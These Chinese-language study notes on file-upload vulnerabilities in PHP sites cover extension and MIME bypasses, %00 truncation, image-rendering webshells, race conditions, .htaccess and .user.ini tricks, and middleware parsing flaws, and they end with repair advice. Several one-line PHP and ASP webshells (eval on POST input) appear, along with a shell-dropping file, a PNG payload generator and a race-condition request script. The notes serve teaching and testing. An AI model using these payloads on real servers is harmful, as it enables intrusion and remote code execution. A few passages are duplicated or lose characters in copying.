概念
客户端 选择发送的文件->服务器接收->网站程序判断->临时文件->移动到指定的路径 服务器 接收的资源程序
文件上传时的错误代码
值:0 表明没有错误发生,文件上传成功。
值:1 表明上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。
值:2 表明上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。
值:3 表明文件只有部分被上传。
值:4 表明没有文件被上传。
绕过
客户端
前端js验证
绕过方式
1、禁用js
2、burp抓包修改后缀名
3、F12修改
4、本地提交
服务端检查
检查后缀
黑名单
1、代码思路
黑名单是设置不能通过的用户,黑名单以外的用户都能通过。
phtml、pht、php3、php4、php5后缀都会按做php文件执行,且不在黑名单内。
2、绕过
找漏网之鱼:cer、php3、php4、phtml等。
大小写绕过 :AsP、PhP
双写绕过:.pphphp
利用windows系统特性:
系统特性突破(绕过防火墙)
漏洞原理:
利用PHP 和 Windows环境的叠加特性,上传x.php:.jpg时,会生成x.php的空白文件,接着,以下符号在正则匹配时的相等性:
双引号" 相当于 点号.
大于符号> 相当于 问号?
小于符号< 相当于 星号*
文件名.<或文件名.<<<或文件名.>>>或文件名.>><空文件名
写入filename.<<<
NTFS交换数据流(绕过防火墙)
漏洞原理:
NTFS文件系统中对备用数据流(文件流)和对支持windows系统中默认采用这种数据流::$DATA(只有win支持),如果文件名后加::$DATA会把上传的数据当作文件流去处理,不会检测后缀名,且保持::$DATA之前的文件名目的就是绕过对后缀名的检测,源代码缺少对::$DATA的过滤,抓包在后缀后面加上::$DATA即可,访问时要去除后面的::$DATA,直接访问php文件就行
例:
test.php:1.jpg
test.php::$DATA
会被windows系统自动去掉不符合规则符号后面的内容
文件名后加空格----利用Windows系统特性
文件名后加点(.)----利用Windows系统特性
组合以上方法 代码迭代问题 只检测一次 可以根据环境进行组合绕过
白名单
1、代码思路
定义其他格式文件 jpg png fig jpeg ico 等,只要不符合以上格式后缀一律不让上传
2、绕过
MIME修改
媒体类型(通常称为 Multipurpose Internet Mail Extensions 或 MIME 类型 )是一种标准,用来表示文档、文件或字节流的性质和格式。
MIME的组成结构非常简单;由类型与子类型两个字符串中间用 '/' 分隔而组成。不允许空格存在。type 表示可以被分多个子类的独立类别。subtype 表示细分后的每个类型。
通用的结构为:type/subtype
MIME类型对大小写不敏感,但是传统写法都是小写。
我们只需要将Content-Type改为合适的类型就可以。
文件类型
在网络请求中,常用的Content-Type有如下:text/html, text/plain, text/css, text/javascript, image/jpeg, image/png, image/gif, application/x-www-form-urlencoded, multipart/form-data, application/json, application/xml 等。
text/plain(纯文本)
text/html(HTML文档)
text/javascript(js代码)
application/xhtml+xml(XHTML文档)
image/gif(GIF图像)
image/jpeg(JPEG图像)
image/png(PNG图像)
video/mpeg(MPEG动画)
application/octet-stream(二进制数据)
application/pdf(PDF文档)
application/(编程语言) 该种语言的代码
application/msword(Microsoft Word文件)
message/rfc822(RFC 822形式)
multipart/alternative(HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示)
application/x-www-form-urlencoded(POST方法提交的表单)
multipart/form-data(POST提交时伴随文件上传的表单)
图片类型:
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
仅限制Content-Type的话,Burp抓包,修改Content-Type,然后放行,即可绕过
%00截断(GET型)
位置在url地址中
严谨获取后缀名的话 会获取最后一个 .后面的后缀
x.php.jpg直接上传达不到目的并且会被重命名
可被截断绕过
上传路径名%00截断绕过
上传的文件名写成11.jpg, save_path改成../upload/11.php%00,最后保存下来的文件就是11.php
文件上传%00截断的条件:
1 PHP版本小于5.3.4
2 php.ini中的magic_quotes_gpc设置为Off(魔术开关关闭时)
%00截断原理:
www.xxx.com/abc.php%00.jpg => www.xxx.com/abc.php
0x00截断(POST型)
位置在数据包中
0x00需要手动解码 而%00不需要,get请求对url编码进行解码,而post表单不对%00进行解码
burp抓包添加%00并解码
检查内容
文件头检测
仅限制Content-Type的话,Burp抓包,修改Content-Type,然后放行,即可绕过
文件内容头检测
文件内容头检测 只验证文件内容头的话不安全,配合后缀名验证会安全些
添加GIF图片的文件头GIF89a,绕过GIF图片检查。
常见文件文件头
常见文件文件头_Xerath的博客-CSDN博客_jpg文件头
文件内容检查
检测内容是否合法或含有恶意代码
绕过检查<? 可以使用以下代码 html 插入 <script language="php"> 调用数据 例:
<script language="php">echo "木马文件"</script>
<script language="php">eval($_POST['x']);</script>
二次渲染
文件加载检测(文件内容检测)
漏洞原理: 服务器会根据用户上传的图片重新生成图片,但其十六进制文件有部分没有改变
常见的是对图像进行二次渲染,一般是调用PHP 的GD库
gif后缀做测试
保留部分插入后门代码
渲染函数导致可用图片webshell
攻击原理:
将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。
一个绕过GD库的Webshell生成器:
https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE
php图片二次渲染步骤
制作一张二次渲染过后,恶意代码依旧存在的png图片马
<?php
//png.php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./pass17.png');
?>
然后添加上述代码致payload.php 然后上网页运行127.0.0.1/payload.php 因为我们代码最后 会生成一个pass17.png 图片 再上传这张图片即可绕过 生成的图片后门 需要get post提交两个变量 get 0=phpinfo post 1=-1 利用文件包含漏洞即可运行代码
参考文档:【文件上传绕过】——二次渲染漏洞_剑客 getshell的博客-CSDN博客_二次渲染漏洞
代码逻辑
单次过滤
双写文件名绕过 文件名改成xx.pphphp
条件竞争
一些网站允许上传任意文件,然后检测文件是否包含Webshell,如果有则删除该文件。
unlink()函数导致木马文件会在服务器存在一定的时间,再被清除。
服务器端在处理不同用户的请求时是并发进行的
如果并发处理不当或相关操作逻辑顺序设计的不合理时,将导致条件竞争漏洞
绕过:
它先把文件保存在本地,再检查,然后删除
在上传完成和安全检查删除它的间隙,攻击者用多线程不断的发起访问请求该文件
该文件就会被执行从而生成一个恶意shell
竞争删除前生成shell流程:
上传文件→访问执行文件,生成shell文件→删除不安全文件 (多线程访问)
create_shell.php
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["x"])?>');?>
python请求代码 import requests url = "https://830-d6af6a91-a30e-43e8-9e18-806f4c34cf37.do-not-trust.hacking.run/upload/1.php" try: i=1 while True: html = requests.get(url) # print(html.status_code) if html.status_code == 200: print("OK") break else: print('no'+str(i)) i=i+1 except: pass
防御方案:
对于文件上传,在将文件保存在本地前就进行相应的安全检查
解析安全
参考 中间件解析漏洞
格式变异
php4 php5 phtml pht 等格式 这是有关apache的配置文件中设置问题 只要满足特点正则表达式即可
中间件解析
重写漏洞
条件: apache开启重写模块,LoadModule rewrite_module modules/mod_rewrite.so
htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页301重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
黑白名单通用,如果可上传修改 .htaccess
文件 (还能用于隐藏后门)
重写文件解析规则绕过
即先上传个.htaccess文件,让解析规则变更
<FilesMatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//上传的所有.jpg文件,将解析为php运行
nginx: 上传.user.ini文件,内容为:
#define width 1337
#define height 1337
\x00\x00\x8a\x39\x8a\x39
auto_prepend_file = 1.jpg
把当前文件夹下的所有php文件都包含这个1.jpg
特别注意是当前文件夹下
加入目录里面有index.php和1.jpg,则此时访问index.php,网页中就包含了木马
其他:
双文件上传漏洞
漏洞原理:
往往对第一个文件上传进行检测而忽略第二个, 所以在第二个地方上传shell就行
iis7.0|iis7.5|nginx解析漏洞
漏洞原理:
1、php.ini里cgi.fix_pathinfo=1(默认为1) 2、在”Handler Mapping”中取消勾选"仅当请求映射至以下内容时才调用处理程序"
漏洞利用: xxx.jpg/.php表示将图片当成php解析
nginx < 0.83 漏洞
漏洞原理: %00截断
漏洞利用: /1.jpg%00php
Apache未知扩展名解析漏洞
Apache的解析漏洞依赖于一个特性: Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在mime.types文件内),则文件内),则继续向左识别,直到识别到合法后缀才进行解析。
漏洞利用:phpinfo.php.xxx
实战中可以上传rar,owf等文件进行利用,如果上传phpinfo.php.jpg,即使文件名中有.php,也会直接解析为jpg。因为Apache认识.jpg,停止继续向左识别。
Apache换行解析漏洞(CVE-2017-15715)
影响范围:2.4.0~2.4.29版本
环境:phpstudy2014 Apache + PHP5.4n
此漏洞形成的根本原因,在于$, 正则表达式中$不仅匹配字符串结尾位置,也可以匹配\n 或 \r
在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
限制:获取文件名时不能用$_FILES['file']['name'],因为它会自动把换行去掉。
修复建议:
1、升级到最新版本 2、或将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录执行脚本权限。
一句话木马
php
<?php eval($_GET[xxx]);?>
<?php eval($_POST[xxx]);?>
asp
<%eval request("xxx")%>
asp一句话木马 可以写在asp,asa,cdx,cer文件中,这些文件都能够识别
文件上传修复建议
1、使用白名单限制可以上传的文件扩展名
2、注意0x00截断攻击(PHP更新到最新版本)
3、对上传后的文件统一随机命名,不允许用户控制扩展名
4、上传文件的存储目录禁用执行权限
代码审计中关注以下函数
move_uploaded_file() //将上传的文件移动到新位置
全局搜索$_FILES
变量,定位到相关的上传过程查看过滤是否严格。
文件上传代码
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
action属性是提交的目标。
method属性是提交所用的HTTP方法,常用的就是 POST 和 GET,文件上传一般用 POST。
enctype属性必须要写成这样,因为文件上传和普通的提交具有不同的编码方式。如果不写的话,可能会被当做urlencoded,就是k1=v1&k2=v2的键值对形式,导致解析不出东西。
最后是文件输入框,它的name属性非常重要,它是PHP脚本中寻找文件的关键字。
接下来是PHP脚本中的东西,PHP中通过$_FILES对象来读取文件,通过下列几个属性:
$_FILESfile - 被上传文件的名称。
$_FILESfile - 被上传文件的类型。
$_FILESfile - 被上传文件的大小(字节)。
$_FILESfile - 被上传文件在服务器保存的路径,通常位于临时目录中。
$_FILESfile - 错误代码,0为无错误,其它都是有错误。
如果上传的是数组的话,会跳过$file = explode('.', strtolower($file));。并且后缀有白名单过滤。
而最终的文件名后缀取的是$file[count($file) - 1],因此我们可以让$file为数组。$file[0]为1.php/,也就是reset($file),然后再令$file[2]为白名单中的jpg。
此时end($file)等于jpg,$file[count($file) - 1]为空。而 $file_name = reset($file) . '.' . $file[count($file) - 1];,也就是1.php/.,最终move_uploaded_file会忽略掉/.,最终上传1.php。
相关函数:
getimagesize($filename);函数判断文件是否为图片
exif_imagetype()检查是否为图片文件
imagecreatefromjpeg() 二次渲染函数 由文件或 URL 创建一个新图象。
实战思路
文件上传不管是发现还是利用上都会根据产生层面而不同, 常规无资料采用常规思路测试,有资料的情况下直接参考资料进行。
上传分类
常规网站 框架CMS 编辑器 中间件
有已知漏洞则利用已知漏洞